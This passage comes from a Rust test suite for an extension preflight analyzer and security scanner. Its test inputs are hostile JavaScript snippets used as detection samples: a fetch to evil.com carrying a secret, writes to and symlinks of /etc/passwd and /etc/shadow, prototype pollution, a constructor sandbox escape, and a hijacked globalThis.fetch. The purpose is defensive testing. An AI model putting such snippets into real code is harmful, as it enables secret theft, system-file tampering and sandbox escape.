2930        let specs = extract_import_specifiers_simple("import foo from './foo';");
2931        assert!(specs.is_empty());
2932    }
2933
2934    #[test]
2935    fn extract_quoted_string_double() {
2936        assert_eq!(
2937            extract_quoted_string("\"hello\" rest"),
2938            Some("hello".to_string())
2939        );
2940    }
2941
2942    #[test]
2943    fn extract_quoted_string_single() {
2944        assert_eq!(
2945            extract_quoted_string("'hello' rest"),
2946            Some("hello".to_string())
2947        );
2948    }
2949
2950    #[test]
2951    fn extract_quoted_string_no_quote() {
2952        assert_eq!(extract_quoted_string("no quotes"), None);
2953    }
2954
2955    // ---- PreflightReport ----
2956
2957    #[test]
2958    fn empty_findings_gives_pass() {
2959        let report = PreflightReport::from_findings("test-ext".into(), vec![]);
2960        assert_eq!(report.verdict, PreflightVerdict::Pass);
2961        assert_eq!(report.summary.errors, 0);
2962        assert_eq!(report.summary.warnings, 0);
2963    }
2964
2965    #[test]
2966    fn warning_findings_gives_warn() {
2967        let findings = vec![PreflightFinding {
2968            severity: FindingSeverity::Warning,
2969            category: FindingCategory::ModuleCompat,
2970            message: "stub".into(),
2971            remediation: None,
2972            file: None,
2973            line: None,
2974        }];
2975        let report = PreflightReport::from_findings("test-ext".into(), findings);
2976        assert_eq!(report.verdict, PreflightVerdict::Warn);
2977        assert_eq!(report.summary.warnings, 1);
2978    }
2979
2980    #[test]
2981    fn error_findings_gives_fail() {
2982        let findings = vec![
2983            PreflightFinding {
2984                severity: FindingSeverity::Error,
2985                category: FindingCategory::CapabilityPolicy,
2986                message: "denied".into(),
2987                remediation: None,
2988                file: None,
2989                line: None,
2990            },
2991            PreflightFinding {
2992                severity: FindingSeverity::Warning,
2993                category: FindingCategory::ModuleCompat,
2994                message: "stub".into(),
2995                remediation: None,
2996                file: None,
2997                line: None,
2998            },
2999        ];
3000        let report = PreflightReport::from_findings("test-ext".into(), findings);
3001        assert_eq!(report.verdict, PreflightVerdict::Fail);
3002        assert_eq!(report.summary.errors, 1);
3003        assert_eq!(report.summary.warnings, 1);
3004    }
3005
3006    #[test]
3007    fn report_schema_version() {
3008        let report = PreflightReport::from_findings("x".into(), vec![]);
3009        assert_eq!(report.schema, PREFLIGHT_SCHEMA);
3010    }
3011
3012    #[test]
3013    fn security_scan_report_json_roundtrip() {
3014        let findings = vec![PreflightFinding {
3015            severity: FindingSeverity::Warning,
3016            category: FindingCategory::ModuleCompat,
3017            message: "test".into(),
3018            remediation: Some("fix it".into()),
3019            file: Some("index.ts".into()),
3020            line: Some(42),
3021        }];
3022        let report = PreflightReport::from_findings("ext-1".into(), findings);
3023        let json = report.to_json().unwrap();
3024        let back: PreflightReport = serde_json::from_str(&json).unwrap();
3025        assert_eq!(back.verdict, PreflightVerdict::Warn);
3026        assert_eq!(back.findings.len(), 1);
3027        assert_eq!(back.findings[0].line, Some(42));
3028    }
3029
3030    #[test]
3031    fn report_markdown_contains_verdict() {
3032        let report = PreflightReport::from_findings("my-ext".into(), vec![]);
3033        let md = report.render_markdown();
3034        assert!(md.contains("PASS"));
3035        assert!(md.contains("my-ext"));
3036    }
3037
3038    #[test]
3039    fn report_markdown_lists_findings() {
3040        let findings = vec![PreflightFinding {
3041            severity: FindingSeverity::Error,
3042            category: FindingCategory::ForbiddenPattern,
3043            message: "process.binding".into(),
3044            remediation: Some("remove it".into()),
3045            file: Some("main.ts".into()),
3046            line: Some(10),
3047        }];
3048        let report = PreflightReport::from_findings("ext".into(), findings);
3049        let md = report.render_markdown();
3050        assert!(md.contains("process.binding"));
3051        assert!(md.contains("main.ts:10"));
3052        assert!(md.contains("remove it"));
3053    }
3054
3055    // ---- PreflightAnalyzer.analyze_source ----
3056
3057    #[test]
3058    fn analyze_source_clean_extension() {
3059        let policy = ExtensionPolicy::default();
3060        let analyzer = PreflightAnalyzer::new(&policy, None);
3061        let source = r#"
3062import { Type } from "@sinclair/typebox";
3063import path from "node:path";
3064
3065export default function(pi) {
3066    pi.tool({ name: "hello", schema: Type.Object({}) });
3067}
3068"#;
3069        let report = analyzer.analyze_source("clean-ext", source);
3070        assert_eq!(report.verdict, PreflightVerdict::Pass);
3071    }
3072
3073    #[test]
3074    fn analyze_source_missing_module() {
3075        let policy = ExtensionPolicy::default();
3076        let analyzer = PreflightAnalyzer::new(&policy, None);
3077        let source = r#"
3078import net from "node:net";
3079"#;
3080        let report = analyzer.analyze_source("net-ext", source);
3081        assert_eq!(report.verdict, PreflightVerdict::Fail);
3082        assert!(
3083            report
3084                .findings
3085                .iter()
3086                .any(|f| f.message.contains("node:net"))
3087        );
3088    }
3089
3090    #[test]
3091    fn analyze_source_denied_capability() {
3092        // Use safe policy — exec is denied
3093        let policy = crate::extensions::PolicyProfile::Safe.to_policy();
3094        let analyzer = PreflightAnalyzer::new(&policy, None);
3095        let source = r#"
3096const { exec } = require("child_process");
3097export default function(pi) {
3098    pi.exec("ls");
3099}
3100"#;
3101        let report = analyzer.analyze_source("exec-ext", source);
3102        assert_eq!(report.verdict, PreflightVerdict::Fail);
3103        assert!(
3104            report
3105                .findings
3106                .iter()
3107                .any(|f| f.category == FindingCategory::CapabilityPolicy
3108                    && f.message.contains("exec"))
3109        );
3110    }
3111
3112    #[test]
3113    fn analyze_source_env_prompts_on_default_policy() {
3114        let policy = ExtensionPolicy::default();
3115        let analyzer = PreflightAnalyzer::new(&policy, None);
3116        let source = r"
3117const key = process.env.API_KEY;
3118";
3119        let report = analyzer.analyze_source("env-ext", source);
3120        // Default policy has env in deny_caps, so it should be denied
3121        assert!(report.findings.iter().any(|f| f.message.contains("env")));
3122    }
3123
3124    #[test]
3125    fn analyze_source_stub_module_warns() {
3126        let policy = ExtensionPolicy::default();
3127        let analyzer = PreflightAnalyzer::new(&policy, None);
3128        let source = r#"
3129import chokidar from "chokidar";
3130"#;
3131        let report = analyzer.analyze_source("watch-ext", source);
3132        assert_eq!(report.verdict, PreflightVerdict::Warn);
3133        assert!(
3134            report
3135                .findings
3136                .iter()
3137                .any(|f| f.message.contains("chokidar"))
3138        );
3139    }
3140
3141    #[test]
3142    fn analyze_source_per_extension_override_allows() {
3143        use crate::extensions::ExtensionOverride;
3144        use std::collections::HashMap;
3145
3146        // To test per-extension allow, we need a policy where exec is NOT
3147        // in global deny_caps (since global deny has higher precedence).
3148        // Mode = Strict means the fallback would deny, but per-extension
3149        // allow should override the fallback.
3150        let mut per_ext = HashMap::new();
3151        per_ext.insert(
3152            "my-ext".to_string(),
3153            ExtensionOverride {
3154                mode: None,
3155                allow: vec!["exec".to_string()],
3156                deny: vec![],
3157                quota: None,
3158            },
3159        );
3160
3161        let policy = ExtensionPolicy {
3162            mode: crate::extensions::ExtensionPolicyMode::Strict,
3163            max_memory_mb: 256,
3164            default_caps: vec!["read".to_string(), "write".to_string()],
3165            deny_caps: vec![], // No global deny — test per-extension allow
3166            per_extension: per_ext,
3167            ..Default::default()
3168        };
3169        let analyzer = PreflightAnalyzer::new(&policy, Some("my-ext"));
3170        let source = r#"
3171const { exec } = require("child_process");
3172pi.exec("ls");
3173"#;
3174        let report = analyzer.analyze_source("my-ext", source);
3175        // exec should be allowed via per-extension override
3176        let exec_denied = report.findings.iter().any(|f| {
3177            f.category == FindingCategory::CapabilityPolicy
3178                && f.message.contains("exec")
3179                && f.severity == FindingSeverity::Error
3180        });
3181        assert!(
3182            !exec_denied,
3183            "exec should be allowed via per-extension override"
3184        );
3185    }
3186
3187    // ---- Verdict display ----
3188
3189    #[test]
3190    fn verdict_display() {
3191        assert_eq!(format!("{}", PreflightVerdict::Pass), "PASS");
3192        assert_eq!(format!("{}", PreflightVerdict::Warn), "WARN");
3193        assert_eq!(format!("{}", PreflightVerdict::Fail), "FAIL");
3194    }
3195
3196    #[test]
3197    fn verdict_serde_roundtrip() {
3198        for v in [
3199            PreflightVerdict::Pass,
3200            PreflightVerdict::Warn,
3201            PreflightVerdict::Fail,
3202        ] {
3203            let json = serde_json::to_string(&v).unwrap();
3204            let back: PreflightVerdict = serde_json::from_str(&json).unwrap();
3205            assert_eq!(v, back);
3206        }
3207    }
3208
3209    // ---- Finding categories ----
3210
3211    #[test]
3212    fn finding_category_display() {
3213        assert_eq!(
3214            format!("{}", FindingCategory::ModuleCompat),
3215            "module_compat"
3216        );
3217        assert_eq!(
3218            format!("{}", FindingCategory::CapabilityPolicy),
3219            "capability_policy"
3220        );
3221        assert_eq!(
3222            format!("{}", FindingCategory::ForbiddenPattern),
3223            "forbidden_pattern"
3224        );
3225        assert_eq!(
3226            format!("{}", FindingCategory::FlaggedPattern),
3227            "flagged_pattern"
3228        );
3229    }
3230
3231    // ---- ConfidenceScore ----
3232
3233    #[test]
3234    fn confidence_score_no_issues() {
3235        let score = ConfidenceScore::from_counts(0, 0);
3236        assert_eq!(score.value(), 100);
3237        assert_eq!(score.label(), "High");
3238    }
3239
3240    #[test]
3241    fn confidence_score_one_warning() {
3242        let score = ConfidenceScore::from_counts(0, 1);
3243        assert_eq!(score.value(), 90);
3244        assert_eq!(score.label(), "High");
3245    }
3246
3247    #[test]
3248    fn confidence_score_two_warnings() {
3249        let score = ConfidenceScore::from_counts(0, 2);
3250        assert_eq!(score.value(), 80);
3251        assert_eq!(score.label(), "Medium");
3252    }
3253
3254    #[test]
3255    fn confidence_score_one_error() {
3256        let score = ConfidenceScore::from_counts(1, 0);
3257        assert_eq!(score.value(), 75);
3258        assert_eq!(score.label(), "Medium");
3259    }
3260
3261    #[test]
3262    fn confidence_score_many_errors_floors_at_zero() {
3263        let score = ConfidenceScore::from_counts(5, 5);
3264        assert_eq!(score.value(), 0);
3265        assert_eq!(score.label(), "Very Low");
3266    }
3267
3268    #[test]
3269    fn confidence_score_display() {
3270        let score = ConfidenceScore::from_counts(0, 0);
3271        assert_eq!(format!("{score}"), "100% (High)");
3272        let score = ConfidenceScore::from_counts(1, 2);
3273        assert_eq!(format!("{score}"), "55% (Low)");
3274    }
3275
3276    #[test]
3277    fn confidence_score_serde_roundtrip() {
3278        let score = ConfidenceScore::from_counts(1, 1);
3279        let json = serde_json::to_string(&score).unwrap();
3280        let back: ConfidenceScore = serde_json::from_str(&json).unwrap();
3281        assert_eq!(score, back);
3282    }
3283
3284    // ---- risk_banner_text ----
3285
3286    #[test]
3287    fn risk_banner_pass() {
3288        let report = PreflightReport::from_findings("ext".into(), vec![]);
3289        assert!(report.risk_banner.contains("compatible"));
3290        assert!(report.risk_banner.contains("100%"));
3291    }
3292
3293    #[test]
3294    fn risk_banner_warn() {
3295        let findings = vec![PreflightFinding {
3296            severity: FindingSeverity::Warning,
3297            category: FindingCategory::ModuleCompat,
3298            message: "stub".into(),
3299            remediation: None,
3300            file: None,
3301            line: None,
3302        }];
3303        let report = PreflightReport::from_findings("ext".into(), findings);
3304        assert!(report.risk_banner.contains("may have issues"));
3305        assert!(report.risk_banner.contains("1 warning"));
3306    }
3307
3308    #[test]
3309    fn risk_banner_fail() {
3310        let findings = vec![PreflightFinding {
3311            severity: FindingSeverity::Error,
3312            category: FindingCategory::ForbiddenPattern,
3313            message: "bad".into(),
3314            remediation: None,
3315            file: None,
3316            line: None,
3317        }];
3318        let report = PreflightReport::from_findings("ext".into(), findings);
3319        assert!(report.risk_banner.contains("incompatible"));
3320        assert!(report.risk_banner.contains("1 error"));
3321    }
3322
3323    // ---- render_markdown includes confidence and banner ----
3324
3325    #[test]
3326    fn render_markdown_includes_confidence() {
3327        let report = PreflightReport::from_findings("ext".into(), vec![]);
3328        let md = report.render_markdown();
3329        assert!(md.contains("Confidence"));
3330        assert!(md.contains("100%"));
3331    }
3332
3333    #[test]
3334    fn render_markdown_includes_risk_banner() {
3335        let findings = vec![PreflightFinding {
3336            severity: FindingSeverity::Warning,
3337            category: FindingCategory::ModuleCompat,
3338            message: "stub".into(),
3339            remediation: None,
3340            file: None,
3341            line: None,
3342        }];
3343        let report = PreflightReport::from_findings("ext".into(), findings);
3344        let md = report.render_markdown();
3345        assert!(md.contains("> "));
3346        assert!(md.contains("may have issues"));
3347    }
3348
3349    // ---- report confidence in JSON ----
3350
3351    #[test]
3352    fn report_json_includes_confidence() {
3353        let report = PreflightReport::from_findings("ext".into(), vec![]);
3354        let json = report.to_json().unwrap();
3355        assert!(json.contains("\"confidence\""));
3356        assert!(json.contains("\"risk_banner\""));
3357    }
3358
3359    // ---- capability_remediation ----
3360
3361    #[test]
3362    fn capability_remediation_exec() {
3363        let r = capability_remediation("exec");
3364        assert!(r.contains("allow-dangerous"));
3365    }
3366
3367    #[test]
3368    fn capability_remediation_env() {
3369        let r = capability_remediation("env");
3370        assert!(r.contains("per-extension"));
3371    }
3372
3373    #[test]
3374    fn capability_remediation_other() {
3375        let r = capability_remediation("http");
3376        assert!(r.contains("default_caps"));
3377    }
3378
3379    // ================================================================
3380    // Security scanner tests (bd-21vng)
3381    // ================================================================
3382
3383    fn scan(source: &str) -> SecurityScanReport {
3384        SecurityScanner::scan_source("test-ext", source)
3385    }
3386
3387    fn has_rule(report: &SecurityScanReport, rule: SecurityRuleId) -> bool {
3388        report.findings.iter().any(|f| f.rule_id == rule)
3389    }
3390
3391    // ---- RiskTier ----
3392
3393    #[test]
3394    fn risk_tier_ordering() {
3395        assert!(RiskTier::Critical < RiskTier::High);
3396        assert!(RiskTier::High < RiskTier::Medium);
3397        assert!(RiskTier::Medium < RiskTier::Low);
3398    }
3399
3400    #[test]
3401    fn risk_tier_serde_roundtrip() {
3402        for tier in [
3403            RiskTier::Critical,
3404            RiskTier::High,
3405            RiskTier::Medium,
3406            RiskTier::Low,
3407        ] {
3408            let json = serde_json::to_string(&tier).unwrap();
3409            let back: RiskTier = serde_json::from_str(&json).unwrap();
3410            assert_eq!(tier, back);
3411        }
3412    }
3413
3414    #[test]
3415    fn risk_tier_display() {
3416        assert_eq!(format!("{}", RiskTier::Critical), "critical");
3417        assert_eq!(format!("{}", RiskTier::Low), "low");
3418    }
3419
3420    // ---- SecurityRuleId ----
3421
3422    #[test]
3423    fn rule_id_serde_roundtrip() {
3424        let rule = SecurityRuleId::EvalUsage;
3425        let json = serde_json::to_string(&rule).unwrap();
3426        assert_eq!(json, "\"SEC-EVAL-001\"");
3427        let back: SecurityRuleId = serde_json::from_str(&json).unwrap();
3428        assert_eq!(rule, back);
3429    }
3430
3431    #[test]
3432    fn rule_id_default_tier_consistency() {
3433        // All critical rules should have Critical tier.
3434        assert_eq!(SecurityRuleId::EvalUsage.default_tier(), RiskTier::Critical);
3435        assert_eq!(
3436            SecurityRuleId::ProcessBinding.default_tier(),
3437            RiskTier::Critical
3438        );
3439        // High.
3440        assert_eq!(
3441            SecurityRuleId::HardcodedSecret.default_tier(),
3442            RiskTier::High
3443        );
3444        // Medium.
3445        assert_eq!(
3446            SecurityRuleId::ProcessEnvAccess.default_tier(),
3447            RiskTier::Medium
3448        );
3449        // Low.
3450        assert_eq!(
3451            SecurityRuleId::DebuggerStatement.default_tier(),
3452            RiskTier::Low
3453        );
3454    }
3455
3456    // ---- Clean extension ----
3457
3458    #[test]
3459    fn clean_extension_has_no_findings() {
3460        let report = scan(
3461            r#"
3462import path from "node:path";
3463const p = path.join("a", "b");
3464export default function init(pi) {
3465    pi.tool({ name: "hello", schema: {} });
3466}
3467"#,
3468        );
3469        assert!(report.findings.is_empty());
3470        assert_eq!(report.overall_tier, RiskTier::Low);
3471        assert!(report.verdict.starts_with("CLEAN"));
3472        assert!(!report.should_block());
3473        assert!(!report.needs_review());
3474    }
3475
3476    // ---- Critical tier detections ----
3477
3478    #[test]
3479    fn detect_eval_usage() {
3480        let report = scan("const x = eval('1+1');");
3481        assert!(has_rule(&report, SecurityRuleId::EvalUsage));
3482        assert_eq!(report.overall_tier, RiskTier::Critical);
3483        assert!(report.should_block());
3484    }
3485
3486    #[test]
3487    fn eval_in_identifier_not_flagged() {
3488        let report = scan("const retrieval = getData();");
3489        assert!(!has_rule(&report, SecurityRuleId::EvalUsage));
3490    }
3491
3492    #[test]
3493    fn detect_new_function() {
3494        let report = scan("const fn = new Function('a', 'return a + 1');");
3495        assert!(has_rule(&report, SecurityRuleId::NewFunctionUsage));
3496        assert_eq!(report.overall_tier, RiskTier::Critical);
3497    }
3498
3499    #[test]
3500    fn new_function_empty_not_flagged() {
3501        // new Function() with no args is less dangerous — still flagged
3502        // but that's fine, the rule covers the general case.
3503        let report = scan("const fn = new Function();");
3504        assert!(!has_rule(&report, SecurityRuleId::NewFunctionUsage));
3505    }
3506
3507    #[test]
3508    fn detect_process_binding() {
3509        let report = scan("process.binding('fs');");
3510        assert!(has_rule(&report, SecurityRuleId::ProcessBinding));
3511        assert_eq!(report.overall_tier, RiskTier::Critical);
3512    }
3513
3514    #[test]
3515    fn detect_process_dlopen() {
3516        let report = scan("process.dlopen(module, '/bad/addon.node');");
3517        assert!(has_rule(&report, SecurityRuleId::ProcessDlopen));
3518    }
3519
3520    #[test]
3521    fn detect_proto_pollution() {
3522        let report = scan("obj.__proto__ = malicious;");
3523        assert!(has_rule(&report, SecurityRuleId::ProtoPollution));
3524        assert_eq!(report.overall_tier, RiskTier::Critical);
3525    }
3526
3527    #[test]
3528    fn detect_set_prototype_of() {
3529        let report = scan("Object.setPrototypeOf(target, evil);");
3530        assert!(has_rule(&report, SecurityRuleId::ProtoPollution));
3531    }
3532
3533    #[test]
3534    fn detect_require_cache_manipulation() {
3535        let report = scan("delete require.cache[require.resolve('./module')];");
3536        assert!(has_rule(&report, SecurityRuleId::RequireCacheManip));
3537        assert_eq!(report.overall_tier, RiskTier::Critical);
3538    }
3539
3540    // ---- High tier detections ----
3541
3542    #[test]
3543    fn detect_hardcoded_secret() {
3544        let report = scan(r#"const api_key = "sk-ant-api03-abc123";"#);
3545        assert!(has_rule(&report, SecurityRuleId::HardcodedSecret));
3546        assert!(report.needs_review());
3547    }
3548
3549    #[test]
3550    fn detect_hardcoded_password() {
3551        let report = scan(r#"const password = "s3cretP@ss";"#);
3552        assert!(has_rule(&report, SecurityRuleId::HardcodedSecret));
3553    }
3554
3555    #[test]
3556    fn env_lookup_not_flagged_as_secret() {
3557        let report = scan("const key = process.env.API_KEY;");
3558        // Should flag ProcessEnvAccess but NOT HardcodedSecret.
3559        assert!(has_rule(&report, SecurityRuleId::ProcessEnvAccess));
3560        assert!(!has_rule(&report, SecurityRuleId::HardcodedSecret));
3561    }
3562
3563    #[test]
3564    fn empty_secret_not_flagged() {
3565        let report = scan(r#"const api_key = "";"#);
3566        assert!(!has_rule(&report, SecurityRuleId::HardcodedSecret));
3567    }
3568
3569    #[test]
3570    fn detect_token_prefix() {
3571        let report = scan(r#"const token = "ghp_abc123def456";"#);
3572        assert!(has_rule(&report, SecurityRuleId::HardcodedSecret));
3573    }
3574
3575    #[test]
3576    fn detect_dynamic_import() {
3577        let report = scan("const mod = await import(userInput);");
3578        assert!(has_rule(&report, SecurityRuleId::DynamicImport));
3579    }
3580
3581    #[test]
3582    fn static_import_not_flagged_as_dynamic() {
3583        let report = scan("import fs from 'node:fs';");
3584        assert!(!has_rule(&report, SecurityRuleId::DynamicImport));
3585    }
3586
3587    #[test]
3588    fn detect_define_property_on_global() {
3589        let report = scan("Object.defineProperty(globalThis, 'fetch', { value: evilFetch });");
3590        assert!(has_rule(&report, SecurityRuleId::DefinePropertyAbuse));
3591    }
3592
3593    #[test]
3594    fn detect_network_exfiltration() {
3595        let report = scan("fetch(`https://evil.com/?data=${secret}`);");
3596        assert!(has_rule(&report, SecurityRuleId::NetworkExfiltration));
3597    }
3598
3599    #[test]
3600    fn detect_sensitive_path_write() {
3601        let report = scan("fs.writeFileSync('/etc/passwd', payload);");
3602        assert!(has_rule(&report, SecurityRuleId::SensitivePathWrite));
3603    }
3604
3605    #[test]
3606    fn normal_write_not_flagged() {
3607        let report = scan("fs.writeFileSync('/tmp/out.txt', data);");
3608        assert!(!has_rule(&report, SecurityRuleId::SensitivePathWrite));
3609    }
3610
3611    // ---- Medium tier detections ----
3612
3613    #[test]
3614    fn detect_process_env() {
3615        let report = scan("const v = process.env.NODE_ENV;");
3616        assert!(has_rule(&report, SecurityRuleId::ProcessEnvAccess));
3617        assert_eq!(report.overall_tier, RiskTier::Medium);
3618    }
3619
3620    #[test]
3621    fn detect_timer_abuse() {
3622        let report = scan("setInterval(pollServer, 1);");
3623        assert!(has_rule(&report, SecurityRuleId::TimerAbuse));
3624    }
3625
3626    #[test]
3627    fn normal_timer_not_flagged() {
3628        let report = scan("setInterval(tick, 1000);");
3629        assert!(!has_rule(&report, SecurityRuleId::TimerAbuse));
3630    }
3631
3632    #[test]
3633    fn detect_proxy_usage() {
3634        let report = scan("const p = new Proxy(target, handler);");
3635        assert!(has_rule(&report, SecurityRuleId::ProxyReflect));
3636    }
3637
3638    #[test]
3639    fn detect_reflect_usage() {
3640        let report = scan("const v = Reflect.get(obj, 'key');");
3641        assert!(has_rule(&report, SecurityRuleId::ProxyReflect));
3642    }
3643
3644    #[test]
3645    fn detect_with_statement() {
3646        let report = scan("with (obj) { x = 1; }");
3647        assert!(has_rule(&report, SecurityRuleId::WithStatement));
3648    }
3649
3650    // ---- Low tier detections ----
3651
3652    #[test]
3653    fn detect_debugger_statement() {
3654        let report = scan("debugger;");
3655        assert!(has_rule(&report, SecurityRuleId::DebuggerStatement));
3656        assert_eq!(report.overall_tier, RiskTier::Low);
3657    }
3658
3659    #[test]
3660    fn detect_console_error() {
3661        let report = scan("console.error(sensitiveData);");
3662        assert!(has_rule(&report, SecurityRuleId::ConsoleInfoLeak));
3663    }
3664
3665    #[test]
3666    fn console_log_not_flagged() {
3667        // Only console.error/warn flagged, not console.log.
3668        let report = scan("console.log('hello');");
3669        assert!(!has_rule(&report, SecurityRuleId::ConsoleInfoLeak));
3670    }
3671
3672    // ---- Report structure ----
3673
3674    #[test]
3675    fn report_schema_and_rulebook_version() {
3676        let report = scan("// clean");
3677        assert_eq!(report.schema, SECURITY_SCAN_SCHEMA);
3678        assert_eq!(report.rulebook_version, SECURITY_RULEBOOK_VERSION);
3679    }
3680
3681    #[test]
3682    fn report_json_roundtrip() {
3683        let report = scan("eval('bad'); process.env.KEY;");
3684        let json = report.to_json().unwrap();
3685        let back: SecurityScanReport = serde_json::from_str(&json).unwrap();
3686        assert_eq!(back.extension_id, "test-ext");
3687        assert_eq!(back.overall_tier, RiskTier::Critical);
3688        assert!(!back.findings.is_empty());
3689    }
3690
3691    #[test]
3692    #[allow(clippy::needless_raw_string_hashes)]
3693    fn report_tier_counts_accurate() {
3694        let report = scan(
3695            r#"
3696eval('bad');
3697const api_key = "sk-ant-secret";
3698process.env.KEY;
3699debugger;
3700"#,
3701        );
3702        assert!(report.tier_counts.critical >= 1);
3703        assert!(report.tier_counts.high >= 1);
3704        assert!(report.tier_counts.medium >= 1);
3705        assert!(report.tier_counts.low >= 1);
3706    }
3707
3708    #[test]
3709    fn findings_sorted_by_tier_worst_first() {
3710        let report = scan(
3711            r"
3712debugger;
3713eval('x');
3714process.env.KEY;
3715",
3716        );
3717        // First finding should be Critical (eval), last should be Low (debugger).
3718        assert!(!report.findings.is_empty());
3719        assert_eq!(report.findings[0].risk_tier, RiskTier::Critical);
3720        let last = report.findings.last().unwrap();
3721        assert!(last.risk_tier >= report.findings[0].risk_tier);
3722    }
3723
3724    // ---- Evidence ledger ----
3725
3726    #[test]
3727    fn evidence_ledger_jsonl_format() {
3728        let report = scan("eval('x'); debugger;");
3729        let jsonl = security_evidence_ledger_jsonl(&report).unwrap();
3730        let lines: Vec<&str> = jsonl.lines().collect();
3731        assert_eq!(lines.len(), report.findings.len());
3732        for line in &lines {
3733            let entry: SecurityEvidenceLedgerEntry = serde_json::from_str(line).unwrap();
3734            assert_eq!(entry.schema, SECURITY_EVIDENCE_LEDGER_SCHEMA);
3735            assert_eq!(entry.extension_id, "test-ext");
3736            assert_eq!(entry.rulebook_version, SECURITY_RULEBOOK_VERSION);
3737        }
3738    }
3739
3740    #[test]
3741    fn evidence_ledger_entry_indices_monotonic() {
3742        let report = scan("eval('a'); eval('b'); debugger;");
3743        let jsonl = security_evidence_ledger_jsonl(&report).unwrap();
3744        let entries: Vec<SecurityEvidenceLedgerEntry> = jsonl
3745            .lines()
3746            .map(|l| serde_json::from_str(l).unwrap())
3747            .collect();
3748        for (i, entry) in entries.iter().enumerate() {
3749            assert_eq!(entry.entry_index, i);
3750        }
3751    }
3752
3753    // ---- Comments are skipped ----
3754
3755    #[test]
3756    fn single_line_comment_not_flagged() {
3757        let report = scan("// eval('bad');");
3758        assert!(!has_rule(&report, SecurityRuleId::EvalUsage));
3759    }
3760
3761    #[test]
3762    fn block_comment_not_flagged() {
3763        let report = scan("/* eval('bad'); */");
3764        assert!(!has_rule(&report, SecurityRuleId::EvalUsage));
3765    }
3766
3767    // ---- Determinism ----
3768
3769    #[test]
3770    fn scan_is_deterministic() {
3771        let source = r#"
3772eval('x');
3773const api_key = "sk-ant-test";
3774process.env.HOME;
3775debugger;
3776"#;
3777        let r1 = scan(source);
3778        let r2 = scan(source);
3779        let j1 = r1.to_json().unwrap();
3780        let j2 = r2.to_json().unwrap();
3781        assert_eq!(j1, j2, "Security scan must be deterministic");
3782    }
3783
3784    // ---- Multiple findings per line ----
3785
3786    #[test]
3787    fn multiple_rules_fire_on_same_line() {
3788        // eval + process.env on same line.
3789        let report = scan("eval(process.env.SECRET);");
3790        assert!(has_rule(&report, SecurityRuleId::EvalUsage));
3791        assert!(has_rule(&report, SecurityRuleId::ProcessEnvAccess));
3792    }
3793
3794    // ---- should_block / needs_review ----
3795
3796    #[test]
3797    fn should_block_only_for_critical() {
3798        assert!(scan("eval('x');").should_block());
3799        assert!(!scan("process.env.X;").should_block());
3800        assert!(!scan("debugger;").should_block());
3801    }
3802
3803    #[test]
3804    fn needs_review_for_critical_and_high() {
3805        assert!(scan("eval('x');").needs_review());
3806        assert!(scan(r#"const api_key = "sk-ant-test";"#).needs_review());
3807        assert!(!scan("process.env.X;").needs_review());
3808    }
3809
3810    // ================================================================
3811    // Rulebook v2.0.0 — new rule tests
3812    // ================================================================
3813
3814    // ---- SEC-SPAWN-001: child_process command execution ----
3815
3816    #[test]
3817    fn detect_child_process_exec() {
3818        let report = scan("const { exec } = require('child_process'); exec('ls');");
3819        assert!(has_rule(&report, SecurityRuleId::ChildProcessSpawn));
3820        assert_eq!(report.overall_tier, RiskTier::Critical);
3821        assert!(report.should_block());
3822    }
3823
3824    #[test]
3825    fn detect_child_process_spawn() {
3826        let report = scan("const cp = require('child_process'); cp.spawn('node', ['app.js']);");
3827        assert!(has_rule(&report, SecurityRuleId::ChildProcessSpawn));
3828    }
3829
3830    #[test]
3831    fn detect_child_process_fork() {
3832        let report = scan("childProcess.fork('./worker.js');");
3833        assert!(has_rule(&report, SecurityRuleId::ChildProcessSpawn));
3834    }
3835
3836    #[test]
3837    fn regular_exec_not_flagged_as_spawn() {
3838        // exec() without child_process context should NOT trigger.
3839        let report = scan("const result = exec('query');");
3840        assert!(!has_rule(&report, SecurityRuleId::ChildProcessSpawn));
3841    }
3842
3843    // ---- SEC-CONSTRUCTOR-001: constructor escape ----
3844
3845    #[test]
3846    fn detect_constructor_escape() {
3847        let report = scan("const fn = constructor.constructor('return this')();");
3848        assert!(has_rule(&report, SecurityRuleId::ConstructorEscape));
3849        assert_eq!(report.overall_tier, RiskTier::Critical);
3850    }
3851
3852    #[test]
3853    fn detect_constructor_escape_bracket() {
3854        let report = scan(r#"const fn = constructor["constructor"]('return this')();"#);
3855        assert!(has_rule(&report, SecurityRuleId::ConstructorEscape));
3856    }
3857
3858    // ---- SEC-NATIVEMOD-001: native module require ----
3859
3860    #[test]
3861    fn detect_native_node_require() {
3862        let report = scan(r"const addon = require('./native.node');");
3863        assert!(has_rule(&report, SecurityRuleId::NativeModuleRequire));
3864        assert_eq!(report.overall_tier, RiskTier::Critical);
3865    }
3866
3867    #[test]
3868    fn detect_native_so_require() {
3869        let report = scan(r"const lib = require('/usr/lib/evil.so');");
3870        assert!(has_rule(&report, SecurityRuleId::NativeModuleRequire));
3871    }
3872
3873    #[test]
3874    fn detect_native_dylib_require() {
3875        let report = scan(r"const lib = require('./lib.dylib');");
3876        assert!(has_rule(&report, SecurityRuleId::NativeModuleRequire));
3877    }
3878
3879    #[test]
3880    fn normal_require_not_flagged_as_native() {
3881        let report = scan(r"const fs = require('fs');");
3882        assert!(!has_rule(&report, SecurityRuleId::NativeModuleRequire));
3883    }
3884
3885    // ---- SEC-GLOBAL-001: global mutation ----
3886
3887    #[test]
3888    fn detect_global_this_mutation() {
3889        let report = scan("globalThis.fetch = evilFetch;");
3890        assert!(has_rule(&report, SecurityRuleId::GlobalMutation));
3891        assert!(report.needs_review());
3892    }
3893
3894    #[test]
3895    fn detect_global_property_mutation() {
3896        let report = scan("global.process = fakeProcess;");
3897        assert!(has_rule(&report, SecurityRuleId::GlobalMutation));
3898    }
3899
3900    #[test]
3901    fn detect_global_bracket_mutation() {
3902        let report = scan("globalThis['fetch'] = evilFetch;");
3903        assert!(has_rule(&report, SecurityRuleId::GlobalMutation));
3904    }
3905
3906    #[test]
3907    fn global_read_not_flagged() {
3908        // Reading globalThis should not trigger (no assignment).
3909        let report = scan("const f = globalThis.fetch;");
3910        assert!(!has_rule(&report, SecurityRuleId::GlobalMutation));
3911    }
3912
3913    // ---- SEC-SYMLINK-001: symlink creation ----
3914
3915    #[test]
3916    fn detect_fs_symlink() {
3917        let report = scan("fs.symlinkSync('/etc/passwd', '/tmp/link');");
3918        assert!(has_rule(&report, SecurityRuleId::SymlinkCreation));
3919        assert!(report.needs_review());
3920    }
3921
3922    #[test]
3923    fn detect_fs_link() {
3924        let report = scan("fs.linkSync('/etc/shadow', '/tmp/hard');");
3925        assert!(has_rule(&report, SecurityRuleId::SymlinkCreation));
3926    }
3927
